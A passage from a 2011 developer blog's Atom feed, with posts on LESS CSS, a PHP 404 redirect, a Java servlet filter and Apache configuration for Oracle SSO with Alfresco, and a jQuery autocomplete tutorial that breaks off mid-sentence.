title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6303958540061898169' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6303958540061898169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6303958540061898169'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/06/autofit-textarea-with-dynamic-text-on.html' title='Autofit textarea with dynamic text on load'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-2033718669400351503</id><published>2011-05-26T09:47:00.000-07:00</published><updated>2011-05-26T09:47:18.809-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='css less code'/><category scheme='http://www.blogger.com/atom/ns#' term='write less css'/><category scheme='http://www.blogger.com/atom/ns#' term='less code css'/><category scheme='http://www.blogger.com/atom/ns#' term='less css'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>The dynamic stylesheet language</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Recently i was searching for compacting heavy css for my website in less css with dynamic css code, i came across lesscss.org, it's a fabulous website which provides dynamic integration of css.&lt;br /&gt;&lt;br /&gt;"LESS extends CSS with dynamic behavior such as variables, mixins, operations and functions. LESS runs on both the client-side (IE 6+, Webkit, Firefox) and server-side, with Node.js."&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lesscss.org/"&gt;http://lesscss.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-2033718669400351503?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/2033718669400351503/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=2033718669400351503' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2033718669400351503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2033718669400351503'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/05/dynamic-stylesheet-language.html' title='The dynamic stylesheet language'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8582501852827373924</id><published>2011-05-11T09:24:00.000-07:00</published><updated>2011-05-11T09:28:06.844-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='Redirect all 404&apos;s to index page in php'/><title type='text'>Redirect all 404's to index page in php</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;This given PHP example redirect to index page if there is 404 error in your site. &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Create the file app/app_error.php with the following code.&lt;br /&gt;&lt;br /&gt;Code Example:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class AppError extends ErrorHandler {&lt;br /&gt;    function error404($params) {&lt;br /&gt;        // redirect to homepage&lt;br /&gt;        $this-&gt;controller-&gt;redirect('/');&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8582501852827373924?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8582501852827373924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8582501852827373924' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8582501852827373924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8582501852827373924'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/05/redirect-all-404s-to-index-page-in-php.html' title='Redirect all 404&apos;s to index page in php'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1952263554815613137</id><published>2011-04-29T06:12:00.000-07:00</published><updated>2011-04-29T06:12:06.288-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Oracle SSO configuration with Alfresco'/><category scheme='http://www.blogger.com/atom/ns#' term='alfresco sso oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle sso alfresco'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle sso'/><category scheme='http://www.blogger.com/atom/ns#' term='sso'/><title type='text'>Oracle SSO configuration with Alfresco</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hi,&lt;br /&gt;&lt;br /&gt;I finally configured Oracle SSO with Alfresco. Below is how i achieved that.&lt;br /&gt;&lt;br /&gt;I need to run Alfresco on tomcat deployed on other virtual terminal, i created a class file as under&lt;br /&gt;&lt;br /&gt;-&amp;gt; STEP 1&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;package my.custom;&lt;br /&gt;&lt;br /&gt;import java.io.IOException; &lt;br /&gt;import java.util.List;&lt;br /&gt;import java.util.Locale;&lt;br /&gt;&lt;br /&gt;import javax.servlet.Filter;&lt;br /&gt;import javax.servlet.FilterChain;&lt;br /&gt;import javax.servlet.FilterConfig;&lt;br /&gt;import javax.servlet.ServletContext;&lt;br /&gt;import javax.servlet.ServletException;&lt;br /&gt;import javax.servlet.ServletRequest;&lt;br /&gt;import javax.servlet.ServletResponse;&lt;br /&gt;import javax.servlet.http.HttpServletRequest;&lt;br /&gt;import javax.servlet.http.HttpServletResponse;&lt;br /&gt;import javax.servlet.http.HttpSession;&lt;br /&gt;import javax.transaction.UserTransaction;&lt;br /&gt;&lt;br /&gt;import org.alfresco.model.ContentModel;&lt;br /&gt;import org.alfresco.repo.security.authentication.AuthenticationComponent;&lt;br /&gt;import org.alfresco.repo.security.authentication.AuthenticationException;&lt;br /&gt;import org.alfresco.service.ServiceRegistry;&lt;br /&gt;import org.alfresco.service.cmr.repository.NodeRef;&lt;br /&gt;import org.alfresco.service.cmr.repository.NodeService;&lt;br /&gt;import org.alfresco.service.cmr.security.AuthenticationService;&lt;br /&gt;import org.alfresco.service.cmr.security.PersonService;&lt;br /&gt;import org.alfresco.service.transaction.TransactionService;&lt;br /&gt;import org.alfresco.web.app.Application;&lt;br /&gt;import org.alfresco.web.app.servlet.AbstractAuthenticationFilter;&lt;br /&gt;import org.alfresco.web.app.servlet.AuthenticationHelper;&lt;br /&gt;import org.alfresco.web.bean.LoginBean;&lt;br /&gt;import org.alfresco.web.bean.repository.User;&lt;br /&gt;import org.alfresco.web.config.LanguagesConfigElement;&lt;br /&gt;import org.apache.commons.logging.Log;&lt;br /&gt;import org.apache.commons.logging.LogFactory;&lt;br /&gt;import org.springframework.extensions.config.ConfigService;&lt;br /&gt;import org.springframework.extensions.surf.util.I18NUtil;&lt;br /&gt;import org.springframework.web.context.WebApplicationContext;&lt;br /&gt;import org.springframework.web.context.support.WebApplicationContextUtils;&lt;br /&gt;import org.alfresco.web.bean.repository.Repository;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class OSSOAuthenticationFilter extends AbstractAuthenticationFilter implements Filter {&lt;br /&gt;private static final String LOCALE = "locale";&lt;br /&gt;public static final String MESSAGE_BUNDLE = "alfresco.messages.webclient";&lt;br /&gt;private static Log logger = LogFactory.getLog(OSSOAuthenticationFilter.class);&lt;br /&gt;private ServletContext context;&lt;br /&gt;private String loginPage;&lt;br /&gt;private AuthenticationComponent authComponent;&lt;br /&gt;private AuthenticationService authService;&lt;br /&gt;private TransactionService transactionService;&lt;br /&gt;private PersonService personService;&lt;br /&gt;private NodeService nodeService;&lt;br /&gt;private List&lt;string&gt; m_languages;&lt;br /&gt;&lt;br /&gt;public OSSOAuthenticationFilter() {&lt;br /&gt;super();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void destroy() {&lt;br /&gt;// Nothing to do&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* Run the filter&lt;br /&gt;*&lt;br /&gt;* @param sreq&lt;br /&gt;* ServletRequest&lt;br /&gt;* @param sresp&lt;br /&gt;* ServletResponse&lt;br /&gt;* @param chain&lt;br /&gt;* FilterChain&lt;br /&gt;* @exception IOException&lt;br /&gt;* @exception ServletException&lt;br /&gt;*/&lt;br /&gt;public void doFilter(ServletRequest sreq, ServletResponse sresp, FilterChain chain) throws IOException, ServletException {&lt;br /&gt;// Get the HTTP request/response/session&lt;br /&gt;HttpServletRequest req = (HttpServletRequest) sreq;&lt;br /&gt;HttpServletResponse resp = (HttpServletResponse) sresp;&lt;br /&gt;HttpSession httpSess = req.getSession(true);&lt;br /&gt;&lt;br /&gt;String userName = null;&lt;br /&gt;//Get headers setted by the oracle sigle sign one server&lt;br /&gt;java.util.Enumeration reqMap = req.getHeaders("Osso-User-Dn");&lt;br /&gt;&lt;br /&gt;if (reqMap == null) {&lt;br /&gt;logger.error("No user logged in");&lt;br /&gt;} else {&lt;br /&gt;while (reqMap.hasMoreElements()){&lt;br /&gt;//Get from the full dn the username&lt;br /&gt;userName = ((String)reqMap.nextElement()).split(",")[0].trim().toString().split("=")[1].trim().toString();&lt;br /&gt;//String tmp = value.split(",")[0].trim().toString();&lt;br /&gt;//userName = tmp.split("=")[1].trim().toString();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (logger.isDebugEnabled()) {&lt;br /&gt;logger.debug("OSSO : User = " + userName);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// See if there is a user in the session and test if it matches&lt;br /&gt;User user = (User) httpSess.getAttribute(AuthenticationHelper.AUTHENTICATION_USER);&lt;br /&gt;&lt;br /&gt;if (user != null) {&lt;br /&gt;try {&lt;br /&gt;// Debug&lt;br /&gt;if (logger.isDebugEnabled())&lt;br /&gt;logger.debug("OSSO : User " + user.getUserName() + " validate ticket");&lt;br /&gt;&lt;br /&gt;if (user.getUserName().equals(userName)) {&lt;br /&gt;UserTransaction tx1 = transactionService.getUserTransaction();&lt;br /&gt;try {&lt;br /&gt;tx1.begin();&lt;br /&gt;authComponent.setCurrentUser(user.getUserName());&lt;br /&gt;tx1.commit();&lt;br /&gt;}catch(Exception ex){&lt;br /&gt;logger.error("Failed due to transaction " + ex);&lt;br /&gt;try {&lt;br /&gt;tx1.rollback();&lt;br /&gt;} catch (Exception ex2) {&lt;br /&gt;logger.error("Failed to rollback transaction", ex2);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;I18NUtil.setLocale(Application.getLanguage(httpSess));&lt;br /&gt;chain.doFilter(sreq, sresp);&lt;br /&gt;return;&lt;br /&gt;} else {&lt;br /&gt;// No match&lt;br /&gt;//setAuthenticatedUser(req, httpSess, userName);&lt;br /&gt;//below url is th oracle portal url&lt;br /&gt;resp.sendRedirect("http://hostname:7778/alfresco");&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;} catch (AuthenticationException ex) {&lt;br /&gt;if (logger.isErrorEnabled())&lt;br /&gt;logger.error("Failed to validate user " + user.getUserName(), ex);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;setAuthenticatedUser(req, httpSess, userName);&lt;br /&gt;&lt;br /&gt;// Redirect the login page as it is never seen as we always login by name&lt;br /&gt;if (req.getRequestURI().endsWith(getLoginPage()) == true)&lt;br /&gt;{&lt;br /&gt;if (logger.isDebugEnabled())&lt;br /&gt;logger.debug("Login page requested, chaining ...");&lt;br /&gt;&lt;br /&gt;resp.sendRedirect(req.getContextPath() + "/faces/jsp/browse/browse.jsp");&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;//below url is th oracle portal url&lt;br /&gt;resp.sendRedirect("http://hostname:7778/alfresco");&lt;br /&gt;//chain.doFilter(sreq, sresp);&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* Set the authenticated user.&lt;br /&gt;*&lt;br /&gt;* It does not check that the user exists at the moment.&lt;br /&gt;*&lt;br /&gt;* @param req&lt;br /&gt;* @param httpSess&lt;br /&gt;* @param userName&lt;br /&gt;*/&lt;br /&gt;private void setAuthenticatedUser(HttpServletRequest req, HttpSession httpSess, String userName) {&lt;br /&gt;if (userName != null){&lt;br /&gt;UserTransaction tx1 = transactionService.getUserTransaction();&lt;br /&gt;// Set the authentication&lt;br /&gt;try {&lt;br /&gt;tx1.begin();&lt;br /&gt;authComponent.setCurrentUser(userName);&lt;br /&gt;tx1.commit();&lt;br /&gt;} catch (Throwable ex) {&lt;br /&gt;logger.error(ex);&lt;br /&gt;try {&lt;br /&gt;tx1.rollback();&lt;br /&gt;} catch (Exception ex2) {&lt;br /&gt;logger.error("Failed to rollback transaction", ex2);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Set up the user information&lt;br /&gt;UserTransaction tx = transactionService.getUserTransaction();&lt;br /&gt;NodeRef homeSpaceRef = null;&lt;br /&gt;User user;&lt;br /&gt;try {&lt;br /&gt;tx.begin();&lt;br /&gt;user = new User(userName, authService.getCurrentTicket(), personService.getPerson(userName));&lt;br /&gt;homeSpaceRef = (NodeRef) nodeService.getProperty(personService.getPerson(userName), ContentModel.PROP_HOMEFOLDER);&lt;br /&gt;if(homeSpaceRef == null) {&lt;br /&gt;logger.warn("Home Folder is null for user '"+userName+"', using company_home.");&lt;br /&gt;homeSpaceRef = (NodeRef) nodeService.getRootNode(Repository.getStoreRef());&lt;br /&gt;}&lt;br /&gt;user.setHomeSpaceId(homeSpaceRef.getId());&lt;br /&gt;tx.commit();&lt;br /&gt;} catch (Throwable ex) {&lt;br /&gt;logger.error(ex);&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;tx.rollback();&lt;br /&gt;} catch (Exception ex2) {&lt;br /&gt;logger.error("Failed to rollback transaction", ex2);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (ex instanceof RuntimeException) {&lt;br /&gt;throw (RuntimeException) ex;&lt;br /&gt;} else {&lt;br /&gt;throw new RuntimeException("Failed to set authenticated user", ex);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Store the user&lt;br /&gt;httpSess.setAttribute(AuthenticationHelper.AUTHENTICATION_USER, user);&lt;br /&gt;httpSess.setAttribute(LoginBean.LOGIN_EXTERNAL_AUTH, Boolean.TRUE);&lt;br /&gt;&lt;br /&gt;// Set the current locale from the Accept-Lanaguage header if available&lt;br /&gt;Locale userLocale = parseAcceptLanguageHeader(req, m_languages);&lt;br /&gt;&lt;br /&gt;if (userLocale != null) {&lt;br /&gt;httpSess.setAttribute(LOCALE, userLocale);&lt;br /&gt;httpSess.removeAttribute(MESSAGE_BUNDLE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Set the locale using the session&lt;br /&gt;I18NUtil.setLocale(Application.getLanguage(httpSess));&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void init(FilterConfig config) throws ServletException {&lt;br /&gt;this.context = config.getServletContext();&lt;br /&gt;WebApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(context);&lt;br /&gt;ServiceRegistry serviceRegistry = (ServiceRegistry) ctx.getBean(ServiceRegistry.SERVICE_REGISTRY);&lt;br /&gt;transactionService = serviceRegistry.getTransactionService();&lt;br /&gt;nodeService = serviceRegistry.getNodeService();&lt;br /&gt;&lt;br /&gt;authComponent = (AuthenticationComponent) ctx.getBean("authenticationComponent");&lt;br /&gt;authService = (AuthenticationService) ctx.getBean("authenticationService");&lt;br /&gt;personService = (PersonService) ctx.getBean("personService");&lt;br /&gt;&lt;br /&gt;// Get a list of the available locales&lt;br /&gt;ConfigService configServiceService = (ConfigService) ctx.getBean("webClientConfigService");&lt;br /&gt;LanguagesConfigElement configElement = (LanguagesConfigElement) configServiceService.getConfig("Languages").getConfigElement(LanguagesConfigElement.CONFIG_ELEMENT_ID);&lt;br /&gt;&lt;br /&gt;m_languages = configElement.getLanguages();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* Return the login page address&lt;br /&gt;*&lt;br /&gt;* @return String&lt;br /&gt;*/&lt;br /&gt;private String getLoginPage() {&lt;br /&gt;if (loginPage == null) {&lt;br /&gt;loginPage = Application.getLoginPage(context);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return loginPage;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/string&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;-&amp;gt; STEP 2 Place this class file under &lt;br /&gt;&lt;pre&gt;C:\Alfresco\tomcat\webapps\alfresco\WEB-INF\classes\my\custom&lt;/pre&gt;&lt;br /&gt;-&amp;gt; STEP 3 Now you need to configure proxy pass in oc4j's httpd.conf file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ORACLE_HOME/Apache/Apache/conf/httpd.conf, add the following entries:                                                                                    ProxyPass /alfresco/ http://host:8080/alfresco/&lt;br /&gt;&lt;br /&gt;ProxyPass /alfresco http://host:8080/alfresco/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ProxyPassReverse /alfresco/ http://host:8080/alfresco/&lt;br /&gt;&lt;br /&gt;ProxyPassReverse /alfresco http://host:8080/alfresco/&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;-&amp;gt; STEP 4 Now you need to enable sso on oracle portal&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;edit $ORACLE_HOME/Apache/Apache/conf/mod_osso.conf, add the following lines just before the :&lt;br /&gt;&lt;location alfresco=""&gt;&lt;br /&gt;require valid-user&lt;br /&gt;AuthType Basic&lt;br /&gt;&lt;/location&gt;&lt;br /&gt;&lt;location alfresco*=""&gt;&lt;br /&gt;require valid-user&lt;br /&gt;AuthType Basic&lt;br /&gt;&lt;/location&gt;&lt;br /&gt;&lt;br /&gt;Please restart apache after you have made this configuration&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;-&amp;gt; STEP 5 If alfresco is already running then stop and start alfresco service from start menu under start -&amp;gt; alfresco -&amp;gt; stop alfreco virtual server&lt;br /&gt;&lt;br /&gt;Thats it, now oracle sso is configured successfully for Alfreco&lt;br /&gt;&lt;br /&gt;Try opening http://oc4jserverhost/alfresco, it will redirect to oracle portal sso login page, enter credentials, it will then redirect you to alfresco home page on successful login.&lt;br /&gt;&lt;br /&gt;LOGOUT Link&lt;br /&gt;&lt;br /&gt;Coming towards logout functionality, i need to make some changes to use oracle portal logout instead of alfresco built in logout.&lt;br /&gt;&lt;br /&gt;You need to edit file C:\Alfresco\tomcat\webapps\alfresco\jsp\parts\titlebar.jsp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;search for &lt;br /&gt;&lt;pre&gt;a:actionLink&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;now replace that line with &lt;pre&gt;a:actionLink id="logout" image="/images/icons/logout.gif" value="#{msg.logout} (#{NavigationBean.currentUser.userName})" rendered="#{!NavigationBean.isGuest}" href="http://hostname/pls/orasso/orasso.wwsso_app_admin.ls_logout?p_done_url=http%3A%2F%2Fhostname%2Falfresco" immediate="true"&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Thats it, now logout functionality is integrated with oracle sso.&lt;br /&gt;&lt;br /&gt;Any issues implementing this, feel free to contact me..&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1952263554815613137?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1952263554815613137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1952263554815613137' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1952263554815613137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1952263554815613137'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/04/oracle-sso-configuration-with-alfresco.html' title='Oracle SSO configuration with Alfresco'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-5775674245773605958</id><published>2011-04-26T10:41:00.000-07:00</published><updated>2011-04-26T10:41:56.061-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ebook building software'/><category scheme='http://www.blogger.com/atom/ns#' term='gettin real ebook'/><title type='text'>A nice book on smaller, faster, better way to build software</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Last week, my friend sent me a link which contains great amount of information for building, testing and all other phases for software development.&lt;br /&gt;&lt;br /&gt;Check out this link ::&amp;nbsp;&lt;a href="http://gettingreal.37signals.com/toc.php"&gt;http://gettingreal.37signals.com/toc.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-5775674245773605958?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/5775674245773605958/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=5775674245773605958' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5775674245773605958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5775674245773605958'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/04/nice-book-on-smaller-faster-better-way.html' title='A nice book on smaller, faster, better way to build software'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6176128558689438846</id><published>2011-03-15T05:12:00.000-07:00</published><updated>2011-03-15T06:28:46.508-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Jquery Autocomplete with DataSource'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery autocomplete'/><category scheme='http://www.blogger.com/atom/ns#' term='autocomplete'/><category scheme='http://www.blogger.com/atom/ns#' term='auto complete'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript autocomplete'/><title type='text'>Jquery Autocomplete with DataSource</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hi All,&lt;br /&gt;&lt;br /&gt;Recently i needed an autocomplete textbox in which i need to store an ID and display a list. So, i gone for Jquery autocomplete which i was very used to. I have used this before but it was just for single list where i was not storing any ID. I tried my hands on with JSON using Jquery autocomplete but it was not giving me results the way i wanted.&lt;br /&gt;&lt;br /&gt;So, finally, i found a solution as mentioned below ::&lt;br /&gt;&lt;br /&gt;1) A textbox for autocomplete&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;input type="text" id="input" name="input"/&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;2) An onload script&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;function loadData(){&lt;br /&gt;$("#input").autocomplete('&amp;lt;%=request.getContextPath()%&amp;gt;/showMyCity.do' , {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; extraParams: { locationName : function() { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return document.getElementById('input').value; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; minChars: 0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; width: 185,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; matchContains: "word",&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; autoFill: false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; max:50,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; formatItem:function(row) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return row[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; formatResult: function(row) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return row[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $("#input").result(function(event, data, formatted) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (data)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; document.getElementById("selectedLocation").value=data[1];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;3) Jsp page which results your search :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;c:forEach items="${LOCATION_LIST}" var="bean"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;c:out value="${bean.description}"/&amp;gt;|&amp;lt;c:out value="${bean.code}"/&amp;gt;&lt;br /&gt;&amp;lt;/c:forEach&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With a pipe character added in between, you can hide/show text on autocomplete.&lt;br /&gt;&lt;br /&gt;This resoved my issue and i need 